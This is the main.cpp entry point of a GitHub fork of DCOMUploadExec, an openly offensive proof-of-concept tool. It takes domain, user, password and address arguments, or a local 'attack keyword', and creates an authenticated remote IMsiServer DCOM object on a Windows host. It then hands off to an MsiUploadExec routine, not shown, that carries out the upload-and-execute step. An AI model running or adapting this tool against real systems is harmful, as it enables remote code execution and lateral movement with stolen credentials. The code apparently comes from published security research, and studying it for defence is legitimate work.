forked from deepinstinct/DCOMUploadExec
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathmain.cpp
44 lines (33 loc) · 1.51 KB
/
main.cpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
#include "Includes.h"
#include "Utils.h"
HRESULT MsiUploadExec(IUnknown* pIMsiServerAuthen, COAUTHINFO* pAuthInfo);
int wmain(int argc, wchar_t* argv[]) {
std::wstring domain, user, password, address;
if (argc < 2 or !parseArgument(argv[1], domain, user, password, address)) {
std::wcerr << L"Usage: " << argv[0] << L" [domain]\\[user]:[password]@[address]" << std::endl;
std::wcerr << L"Local Usage: " << argv[0] <<L" " << LOCAL_ATTACK_KEYWORD << L" (Run this as administrator)" <<std::endl;
return -1;
}
IUnknown* pIMsiServer = nullptr;
COAUTHINFO authInfo{};
COAUTHIDENTITY authId{};
HRESULT hr;
ComUtils::InitAuthStructs(&authId, &authInfo, domain, user, password);
CLSCTX comCtx = address.empty() ? CLSCTX_LOCAL_SERVER : CLSCTX_REMOTE_SERVER;
pIMsiServer = ComUtils::CreateObject(CLSID_MsiServer, IID_IMsiSever, comCtx, address, &authInfo);
if (!pIMsiServer)
{
std::wcout << L"[-] ERROR: 0x" << std::hex << GetLastError() << L" While creating an IMsiServer on " << argv[1] << std::endl;
return -1;
}
IUnknown* pIMsiServerAuthen = nullptr;
hr = ComUtils::SetupAuthOnParentIUnknownCastToIID(pIMsiServer, &authInfo, &pIMsiServerAuthen, IID_IMsiSever);
if (!pIMsiServerAuthen)
{
std::wcout << L"[-] ERROR: 0x" << std::hex << hr << L" Setting authentication on created IMsiServer" << std::endl;
return -1;
}
std::wcout << L"[+] Created an authenticated IMsiServer on " << argv[1] << std::endl;
// the MSI DCOM Upload & Exec logic
return MsiUploadExec(pIMsiServerAuthen,&authInfo);
}